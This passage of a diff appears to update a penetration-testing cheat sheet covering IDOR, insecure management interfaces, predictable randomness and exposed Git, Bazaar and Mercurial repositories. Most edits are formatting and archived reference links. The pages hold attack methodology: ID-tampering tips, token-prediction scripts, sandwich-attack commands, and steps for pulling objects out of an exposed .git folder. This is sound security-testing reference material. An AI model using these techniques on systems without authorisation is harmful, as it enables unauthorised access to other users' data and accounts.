+* [Ruby 2.X Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 8, 2018](https://web.archive.org/web/20191128020715/https://www.elttam.com.au/blog/ruby-deserialization/)
-- [Universal RCE with Ruby YAML.load - Etienne Stalmans (@_staaldraad) - March 2, 2019](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
+* [Universal RCE with Ruby YAML.load - Etienne Stalmans (@_staaldraad) - March 2, 2019](https://web.archive.org/web/20190302114631/https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
-- [Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab - 2024](https://pentesterlab.com/exercises/ruby_ugadget/course)
+* [Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab - 2024](https://web.archive.org/web/20190817140453/https://pentesterlab.com/exercises/ruby_ugadget/course)
-- [Universal RCE with Ruby YAML.load (versions > 2.7) - Etienne Stalmans (@_staaldraad) - January 9, 2021](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)
+* [Universal RCE with Ruby YAML.load (versions > 2.7) - Etienne Stalmans (@_staaldraad) - January 9, 2021](https://web.archive.org/web/20260201150417/https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)
-- [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)
+* [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://web.archive.org/web/20210610111705/https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)

Insecure Direct Object References/README.md

@@ -2,33 +2,30 @@
 
 > Insecure Direct Object References (IDOR) is a security vulnerability that occurs when an application allows users to directly access or modify objects (such as files, database records, or URLs) based on user-supplied input, without sufficient access controls. This means that if a user changes a parameter value (like an ID) in a URL or API request, they might be able to access or manipulate data that they aren’t authorized to see or modify.
 
-
 ## Summary
 
 * [Tools](#tools)
 * [Methodology](#methodology)
     * [Numeric Value Parameter](#numeric-value-parameter)
-    * [Common Identifiers Parameter](#common-identifiers-parameter) 
+    * [Common Identifiers Parameter](#common-identifiers-parameter)
-    * [Weak Pseudo Random Number Generator](#weak-pseudo-random-number-generator) 
+    * [Weak Pseudo Random Number Generator](#weak-pseudo-random-number-generator)
     * [Hashed Parameter](#hashed-parameter)
     * [Wildcard Parameter](#wildcard-parameter)
     * [IDOR Tips](#idor-tips)
 * [Labs](#labs)
 * [References](#references)
 
-
 ## Tools
 
-- [PortSwigger/BApp Store > Authz](https://portswigger.net/bappstore/4316cc18ac5f434884b2089831c7d19e)
+* [PortSwigger/BApp Store > Authz](https://portswigger.net/bappstore/4316cc18ac5f434884b2089831c7d19e)
-- [PortSwigger/BApp Store > AuthMatrix](https://portswigger.net/bappstore/30d8ee9f40c041b0bfec67441aad158e)
+* [PortSwigger/BApp Store > AuthMatrix](https://portswigger.net/bappstore/30d8ee9f40c041b0bfec67441aad158e)
-- [PortSwigger/BApp Store > Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f)
+* [PortSwigger/BApp Store > Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f)
-
 
 ## Methodology
 
 IDOR stands for Insecure Direct Object Reference. It's a type of security vulnerability that arises when an application provides direct access to objects based on user-supplied input. As a result, attackers can bypass authorization and access resources in the system directly, potentially leading to unauthorized information disclosure, modification, or deletion.
 
-**Example of IDOR**
+**Example of IDOR**:
 
 Imagine a web application that allows users to view their profile by clicking a link `https://example.com/profile?user_id=123`:
 
@@ -47,7 +44,6 @@ https://example.com/profile?user_id=124
 
 ![https://lh5.googleusercontent.com/VmLyyGH7dGxUOl60h97Lr57F7dcnDD8DmUMCZTD28BKivVI51BLPIqL0RmcxMPsmgXgvAqY8WcQ-Jyv5FhRiCBueX9Wj0HSCBhE-_SvrDdA6_wvDmtMSizlRsHNvTJHuy36LG47lstLpTqLK](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Insecure%20Direct%20Object%20References/Images/idor.png)
 
-
 ### Numeric Value Parameter
 
 Increment and decrement these values to access sensitive information.
@@ -56,7 +52,7 @@ Increment and decrement these values to access sensitive information.
 * Hexadecimal: `0x4642d`, `0x4642e`, `0x4642f`, ...
 * Unix epoch timestamp: `1695574808`, `1695575098`, ...
 
-**Examples** 
+**Examples**:
 
 * [HackerOne - IDOR to view User Order Information - meals](https://hackerone.com/reports/287789)
 * [HackerOne - Delete messages via IDOR - naaash](https://hackerone.com/reports/697412)
@@ -69,11 +65,10 @@ Some identifiers can be guessed like names and emails, they might grant you acce
 * Email: `john.doe@mail.com`
 * Base64 encoded value: `am9obi5kb2VAbWFpbC5jb20=`
 
-**Examples** 
+**Examples**:
 
 * [HackerOne - Insecure Direct Object Reference (IDOR) - Delete Campaigns - datph4m](https://hackerone.com/reports/1969141)
 
-
 ### Weak Pseudo Random Number Generator
 
 * UUID/GUID v1 can be predicted if you know the time they were created: `95f6e264-bb00-11ec-8833-00155d01ef00`
@@ -83,12 +78,11 @@ Some identifiers can be guessed like names and emails, they might grant you acce
     * a 2-byte process id
     * a 3-byte counter, starting with a random value
 
-**Examples** 
+**Examples**:
 
 * [HackerOne - IDOR allowing to read another user's token on the Social Media Ads service - a_d_a_m](https://hackerone.com/reports/1464168)
 * [IDOR through MongoDB Object IDs Prediction](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
 
-
 ### Hashed Parameter
 
 Sometimes we see websites using hashed values to generate a random user id or token, like `sha1(username)`, `md5(email)`, ...
@@ -97,11 +91,10 @@ Sometimes we see websites using hashed values to generate a random user id or to
 * SHA1: `a94a8fe5ccb19ba61c4c0873d391e987982fbbd3`
 * SHA2: `9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08`
 
-**Examples** 
+**Examples**:
 
 * [IDOR with Predictable HMAC Generation - DiceCTF 2022 - CryptoCat](https://youtu.be/Og5_5tEg6M0)
 
-
 ### Wildcard Parameter
 
 Send a wildcard (`*`, `%`, `.`, `_`) instead of an ID, some backend might respond with the data of all the users.
@@ -111,12 +104,6 @@ Send a wildcard (`*`, `%`, `.`, `_`) instead of an ID, some backend might respon
 * `GET /api/users/_ HTTP/1.1`
 * `GET /api/users/. HTTP/1.1`
 
-
-**Examples** 
-
-* [TODO](#)
-
-
 ### IDOR Tips
 
 * Change the HTTP request: `POST → PUT`
@@ -124,21 +111,19 @@ Send a wildcard (`*`, `%`, `.`, `_`) instead of an ID, some backend might respon
 * Transform numerical values to arrays: `{"id":19} → {"id":[19]}`
 * Use Parameter Pollution: `user_id=hacker_id&user_id=victim_id`
 
-
 ## Labs
 
-- [PortSwigger - Insecure Direct Object References](https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references)
+* [PortSwigger - Insecure Direct Object References](https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references)
-
 
 ## References
 
-- [From Christmas present in the blockchain to massive bug bounty - Jesse Lakerveld - March 21, 2018](http://web.archive.org/web/20180401130129/https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty)
+* [From Christmas present in the blockchain to massive bug bounty - Jesse Lakerveld - March 21, 2018](http://web.archive.org/web/20180401130129/https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty)
-- [How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton - November 9, 2017](https://www.bugcrowd.com/blog/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/)
+* [How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton - November 9, 2017](https://web.archive.org/web/20260221194813/https://www.bugcrowd.com/blog/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/)
-- [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - February 2, 2018](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782)
+* [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - February 2, 2018](https://web.archive.org/web/20190509043727/https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782)
-- [IDOR - how to predict an identifier? Bug bounty case study - Bug Bounty Reports Explained - September 21, 2023](https://youtu.be/wx5TwS0Dres)
+* [IDOR - how to predict an identifier? Bug bounty case study - Bug Bounty Reports Explained - September 21, 2023](https://web.archive.org/web/20231027235449/https://youtu.be/wx5TwS0Dres)
-- [Insecure Direct Object Reference Prevention Cheat Sheet - OWASP - July 31, 2023](https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet)
+* [Insecure Direct Object Reference Prevention Cheat Sheet - OWASP - July 31, 2023](https://web.archive.org/web/20140316052400/https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet)
-- [Insecure direct object references (IDOR) - PortSwigger - December 25, 2019](https://portswigger.net/web-security/access-control/idor)
+* [Insecure direct object references (IDOR) - PortSwigger - December 25, 2019](https://web.archive.org/web/20260301072233/https://portswigger.net/web-security/access-control/idor)
-- [Testing for IDORs - PortSwigger - October 29, 2024](https://portswigger.net/burp/documentation/desktop/testing-workflow/access-controls/testing-for-idors)
+* [Testing for IDORs - PortSwigger - October 29, 2024](https://web.archive.org/web/20230604162333/https://portswigger.net/burp/documentation/desktop/testing-workflow/access-controls/testing-for-idors)
-- [Testing for Insecure Direct Object References (OTG-AUTHZ-004) - OWASP - August 8, 2014](https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004))
+* [Testing for Insecure Direct Object References (OTG-AUTHZ-004) - OWASP - August 8, 2014](https://web.archive.org/web/20170712205114/https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004))
-- [The Rise of IDOR - HackerOne - April 2, 2021](https://www.hackerone.com/company-news/rise-idor)
+* [The Rise of IDOR - HackerOne - April 2, 2021](https://web.archive.org/web/20211004153030/https://www.hackerone.com/company-news/rise-idor)
-- [Web to App Phone Notification IDOR to view Everyone's Airbnb Messages - Brett Buerhaus - March 31, 2017](http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/)
+* [Web to App Phone Notification IDOR to view Everyone's Airbnb Messages - Brett Buerhaus - March 31, 2017](https://web.archive.org/web/20170408053950/http://buer.haus:80/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages)

Insecure Management Interface/README.md

@@ -1,16 +1,13 @@
 # Insecure Management Interface
 
 > Insecure Management Interface refers to vulnerabilities in administrative interfaces used for managing servers, applications, databases, or network devices. These interfaces often control sensitive settings and can have powerful access to system configurations, making them prime targets for attackers.
-
 > Insecure Management Interfaces may lack proper security measures, such as strong authentication, encryption, or IP restrictions, allowing unauthorized users to potentially gain control over critical systems. Common issues include using default credentials, unencrypted communications, or exposing the interface to the public internet.
 
-
 ## Summary
 
 * [Methodology](#methodology)
 * [References](#references)
 
-
 ## Methodology
 
 Insecure Management Interface vulnerabilities arise when administrative interfaces of systems or applications are improperly secured, allowing unauthorized or malicious users to gain access, modify configurations, or exploit sensitive operations. These interfaces are often critical for maintaining, monitoring, and controlling systems and must be secured rigorously.
@@ -24,6 +21,7 @@ Insecure Management Interface vulnerabilities arise when administrative interfac
     ```
 
 * Exposure to the Public Internet
+
     ```ps1
     nuclei -t http/exposed-panels -u https://example.com
     nuclei -t http/exposures -u https://example.com
@@ -31,16 +29,14 @@ Insecure Management Interface vulnerabilities arise when administrative interfac
 
 * Sensitive data transmitted over plain HTTP or other unencrypted protocols
 
-
 **Examples**:
 
 * **Network Devices**: Routers, switches, or firewalls with default credentials or unpatched vulnerabilities.
 * **Web Applications**: Admin panels without authentication or exposed via predictable URLs (e.g., /admin).
 * **Cloud Services**: API endpoints without proper authentication or overly permissive roles.
 
-
 ## References
 
-- [CAPEC-121: Exploit Non-Production Interfaces - CAPEC - July 30, 2020](https://capec.mitre.org/data/definitions/121.html)
+* [CAPEC-121: Exploit Non-Production Interfaces - CAPEC - July 30, 2020](https://web.archive.org/web/20260116113320/https://capec.mitre.org/data/definitions/121.html)
-- [Exploiting Spring Boot Actuators - Michael Stepankin - Feb 25, 2019](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
+* [Exploiting Spring Boot Actuators - Michael Stepankin - Feb 25, 2019](https://web.archive.org/web/20250116045001/https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
-- [Springboot - Official Documentation - May 9, 2024](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)
+* [Springboot - Official Documentation - May 9, 2024](https://web.archive.org/web/20140725032126/http://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)

Insecure Randomness/README.md

@@ -1,7 +1,6 @@
 # Insecure Randomness
 
-> Insecure randomness refers to the weaknesses associated with random number generation in computing, particularly when such randomness is used for security-critical purposes. Vulnerabilities in random number generators (RNGs) can lead to predictable outputs that can be exploited by attackers, resulting in potential data breaches or unauthorized access. 
+> Insecure randomness refers to the weaknesses associated with random number generation in computing, particularly when such randomness is used for security-critical purposes. Vulnerabilities in random number generators (RNGs) can lead to predictable outputs that can be exploited by attackers, resulting in potential data breaches or unauthorized access.
-
 
 ## Summary
 
@@ -15,12 +14,10 @@
 * [Custom Algorithms](#custom-algorithms)
 * [References](#references)
 
-
 ## Methodology
 
 Insecure randomness arises when the source of randomness or the method of generating random values is not sufficiently unpredictable. This can lead to predictable outputs, which can be exploited by attackers. Below, we examine common methods that are prone to insecure randomness, including time-based seeds, GUIDs, UUIDs, MongoDB ObjectIds, and the `uniqid()` function.
 
-
 ## Time-Based Seeds
 
 Many random number generators (RNGs) use the current system time (e.g., milliseconds since epoch) as a seed. This approach can be insecure because the seed value can be easily predicted, especially in automated or scripted environments.
@@ -49,15 +46,13 @@ random.seed(seed)
 print(random.randint(1, 100))
 ```
 
-
 ## GUID / UUID
 
 A GUID (Globally Unique Identifier) or UUID (Universally Unique Identifier) is a 128-bit number used to uniquely identify information in computer systems. They are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, such as `550e8400-e29b-41d4-a716-446655440000`. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times.
 
-
 ### GUID Versions
 
-Version identification: `xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx` 
+Version identification: `xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx`
 The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
 
 | Version  | Notes  |
@@ -69,10 +64,10 @@ The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
 | 4 | randomly generated |
 | 5 | based on a SHA1 hash |
 
-
 ### Tools
 
 * [intruder-io/guidtool](https://github.com/intruder-io/guidtool) - A tool to inspect and attack version 1 GUIDs
+
     ```ps1
     $ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00
     UUID version: 1
@@ -85,10 +80,9 @@ The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
     $ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
     ```
 
-
 ## Mongo ObjectId
 
-Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of: 
+Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of:
 
 * **Timestamp** (4 bytes): Represents the ObjectId’s creation time, measured in seconds since the Unix epoch (January 1, 1970).
 * **Machine Identifier** (3 bytes): Identifies the machine on which the ObjectId was generated. Typically derived from the machine's hostname or IP address, making it predictable for documents created on the same machine.
@@ -99,17 +93,19 @@ Token example
 
 * `5ae9b90a2c144b9def01ec37`, `5ae9bac82c144b9def01ec39`
 
-
 ### Tools
 
 * [andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict) - Predict Mongo ObjectIds
+
     ```ps1
     ./mongo-objectid-predict 5ae9b90a2c144b9def01ec37
     5ae9bac82c144b9def01ec39
     5ae9bacf2c144b9def01ec3a
     5ae9bada2c144b9def01ec3b
     ```
+
 * Python script to recover the `timestamp`, `process` and `counter`
+
     ```py
     def MongoDB_ObjectID(timestamp, process, counter):
         return "%08x%10x%06x" % (
@@ -135,7 +131,6 @@ Token example
         print(f"{token}: {timestamp} - {process} - {counter}")
     ```
 
-
 ## Uniqid
 
 Token derived using `uniqid` are based on timestamp and they can be reversed.
@@ -148,7 +143,6 @@ Token examples
 * uniqid: `6659cea087cd6`, `6659cea087cea`
 * sha256(uniqid): `4b26d474c77daf9a94d82039f4c9b8e555ad505249437c0987f12c1b80de0bf4`, `ae72a4c4cdf77f39d1b0133394c0cb24c33c61c4505a9fe33ab89315d3f5a1e4`
 
-
 ### Tools
 
 ```py
@@ -172,7 +166,6 @@ for token in tokens:
     print(f"{token} - {t} => {d}")
 ```
 
-
 ## mt_rand
 
 Breaking mt_rand() with two output values and no bruteforce.
@@ -186,7 +179,6 @@ Breaking mt_rand() with two output values and no bruteforce.
 ./reverse_mt_rand.py 712530069 674417379 123 1
 ```
 
-
 ## Custom Algorithms
 
 Creating your own randomness algorithm is generally not recommended. Below are some examples found on GitHub or StackOverflow that are sometimes used in production, but may not be reliable or secure.
@@ -194,25 +186,24 @@ Creating your own randomness algorithm is generally not recommended. Below are s
 * `$token = md5($emailId).rand(10,9999);`
 * `$token = md5(time()+123456789 % rand(4000, 55000000));`
 
-
-
 ### Tools
 
-Generic identification and sandwitch attack: 
+Generic identification and sandwich attack:
 
 * [AethliosIK/reset-tolkien](https://github.com/AethliosIK/reset-tolkien) - Insecure time-based secret exploitation and Sandwich attack implementation Resources
+
     ```ps1
     reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7"
     reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid"
-    ``` 
+    ```
-
 
 ## References
 
-- [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)
+* [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://web.archive.org/web/20200106202157/https://www.ambionics.io/blog/php-mt-rand-prediction)
-- [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
+* [Cracking Time-Based Tokens: A Glimpse from a Workshop During leHACK 2025-Singularity - 4m1d0n - June 30, 2025](https://4m1d0n.github.io/retex-insecure-time-token-sandwich-attack/)
-- [Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien” - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-fr.html) *(FR)*
+* [Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - October 18, 2023](https://web.archive.org/web/20250919151004/https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
-- [Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html) *(EN)*
+* [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://web.archive.org/web/20200826103440/https://techkranti.com/idor-through-mongodb-object-ids-prediction)
-- [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html)
+* [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://web.archive.org/web/20221013100900/https://www.intruder.io/research/in-guid-we-trust)
-- [Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - October 18, 2023](https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
+* [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://web.archive.org/web/20260201082729/https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html)
-- [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://www.ambionics.io/blog/php-mt-rand-prediction)
+* [Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien” - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://web.archive.org/web/20240408172738/https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-fr.html) *(FR)*
+* [Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://web.archive.org/web/20250531084109/https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html) *(EN)*

Insecure Source Code Management/Bazaar.md

@@ -2,7 +2,6 @@
 
 > Bazaar  (also known as bzr ) is a free, distributed version control system (DVCS) that helps you track project history over time and collaborate seamlessly with others. Developed by Canonical, Bazaar emphasizes ease of use, a flexible workflow, and rich features to cater to both individual developers and large teams.
 
-
 ## Summary
 
 * [Tools](#tools)
@@ -10,12 +9,12 @@
     * [bzr_dumper](#bzr_dumper)
 * [References](#references)
 
-
 ## Tools
 
 ### rip-bzr.pl
 
 * [kost/dvcs-ripper/rip-bzr.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl)
+
     ```powershell
     docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u
     ```
@@ -50,4 +49,4 @@ bzr revert
 
 ## References
 
-- [STEM CTF Cyber Challenge 2019 – My First Blog - m3ssap0 / zuzzur3ll0n1 - March 2, 2019](https://ctftime.org/writeup/13380)
+* [STEM CTF Cyber Challenge 2019 – My First Blog - m3ssap0 / zuzzur3ll0n1 - March 2, 2019](https://web.archive.org/web/20200926122213/https://ctftime.org/writeup/13380)

Insecure Source Code Management/Git.md

@@ -14,12 +14,12 @@
         * [GitHack](#githack)
         * [GitTools](#gittools)
     * [Harvesting secrets](#harvesting-secrets)
+        * [noseyparker](#noseyparker)
         * [trufflehog](#trufflehog)
         * [Yar](#yar)
         * [Gitrob](#gitrob)
         * [Gitleaks](#gitleaks)
-* [Refererences]
+* [References](#references)
-
 
 ## Methodology
 
@@ -27,22 +27,24 @@ The following examples will create either a copy of the .git or a copy of the cu
 
 Check for the following files, if they exist you can extract the .git folder.
 
-- `.git/config`
+* `.git/config`
-- `.git/HEAD`
+* `.git/HEAD`
-- `.git/logs/HEAD`
+* `.git/logs/HEAD`
-
 
 ### Recovering file contents from .git/logs/HEAD
 
-1. Check for 403 Forbidden or directory listing to find the `/.git/` directory
+* Check for 403 Forbidden or directory listing to find the `/.git/` directory
-2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
+* Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
+
   ```powershell
   0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000        clone: from https://github.com/fermayo/hello-world-lamp.git
   15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000        commit: Initial.
   26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000        commit: Whoops! Remove flag.
   6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000        commit: Prevent directory listing.
   ```
-3. Access the commit using the hash
+
+* Access the commit using the hash
+
   ```powershell
   # create an empty .git repository
   git init test
@@ -63,20 +65,24 @@ Check for the following files, if they exist you can extract the .git folder.
       committer Michael <michael@easyctf.com> 1489390329 +0000
       Initial.
   ```
-4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
-  ```powershell
-  wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
-  mkdir .git/object/32
-  mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
 
-  git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
+* Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
-      040000 tree bd083286051cd869ee6485a3046b9935fbd127c0        css
+
-      100644 blob cb6139863967a752f3402b3975e97a84d152fd8f        flag.txt
+    ```powershell
-      040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97        fonts
+    wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
-      100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1        index.html
+    mkdir .git/object/32
-      040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8        js
+    mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
-  ```
+
-5. Read the data (flag.txt)
+    git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
+        040000 tree bd083286051cd869ee6485a3046b9935fbd127c0        css
+        100644 blob cb6139863967a752f3402b3975e97a84d152fd8f        flag.txt
+        040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97        fonts
+        100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1        index.html
+        040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8        js
+    ```
+
+* Read the data (flag.txt)
+
   ```powershell
   wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
   mkdir .git/object/cb
@@ -84,10 +90,9 @@ Check for the following files, if they exist you can extract the .git folder.
   git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
   ```
 
-
 ### Recovering file contents from .git/index
 
-Use the git index file parser https://pypi.python.org/pypi/gin (python3).
+Use the git index file parser <https://pypi.python.org/pypi/gin> (python3).
 
 ```powershell
 pip3 install gin
@@ -105,7 +110,6 @@ name = CRLF injection/README.md
 sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
 ```
 
-
 ## Tools
 
 ### Automatic recovery
@@ -113,6 +117,7 @@ sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
 #### git-dumper.py
 
 * [arthaud/git-dumper](https://github.com/arthaud/git-dumper)
+
 ```powershell
 pip install -r requirements.txt
 ./git-dumper.py http://web.site/.git ~/website
@@ -175,16 +180,27 @@ GitHack.py http://web.site/.git/
 git checkout -- .
 ```
 
-
 ### Harvesting secrets
 
+#### noseyparker
+
+> [praetorian-inc/noseyparker](https://github.com/praetorian-inc/noseyparker) - Nosey Parker is a command-line tool that finds secrets and sensitive information in textual data and Git history.
+
+```ps1
+git clone https://github.com/trufflesecurity/test_keys
+docker run -v "$PWD":/scan ghcr.io/praetorian-inc/noseyparker:latest scan --datastore datastore.np ./test_keys/
+docker run -v "$PWD":/scan ghcr.io/praetorian-inc/noseyparker:latest report --color always
+noseyparker scan --datastore np.noseyparker --git-url https://github.com/praetorian-inc/noseyparker
+noseyparker scan --datastore np.noseyparker --github-user octocat
+```
+
 #### trufflehog
 
 > Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
 
 ```powershell
-pip install truffleHog # https://github.com/dxa4481/truffleHog
+pip install truffleHog
-truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git
+truffleHog --regex --entropy=False https://github.com/trufflesecurity/trufflehog.git
 ```
 
 #### Yar
@@ -211,21 +227,23 @@ gitrob [options] target [target2] ... [targetN]
 > Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
 
 * Run gitleaks against a public repository
+
     ```powershell
     docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
     ```
 
 * Run gitleaks against a local repository already cloned into /tmp/
+
     ```powershell
     docker run --rm --name=gitleaks -v /tmp/:/code/  zricethezav/gitleaks -v --repo-path=/code/gitleaks
     ```
 
 * Run gitleaks against a specific Github Pull request
+
     ```powershell
     docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
     ```
 
-
 ## References
 
-- [Gitrob: Now in Go - Michael Henriksen - January 24, 2024](https://michenriksen.com/blog/gitrob-now-in-go/)
+* [Gitrob: Now in Go - Michael Henriksen - January 24, 2024](https://web.archive.org/web/20240930092732/https://michenriksen.com/blog/gitrob-now-in-go/)

Insecure Source Code Management/Mercurial.md

@@ -2,24 +2,22 @@
 
 > Mercurial  (also known as hg  from the chemical symbol for mercury) is a distributed version control system (DVCS) designed for efficiency and scalability. Developed by Matt Mackall and first released in 2005, Mercurial is known for its speed, simplicity, and ability to handle large codebases.
 
-
 ## Summary
 
 * [Tools](#tools)
     * [rip-hg.pl](#rip-hgpl)
 * [References](#references)
 
-
 ## Tools
 
 ### rip-hg.pl
 
 * [kost/dvcs-ripper/master/rip-hg.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl) - Rip web accessible (distributed) version control systems: SVN/GIT/HG...
+
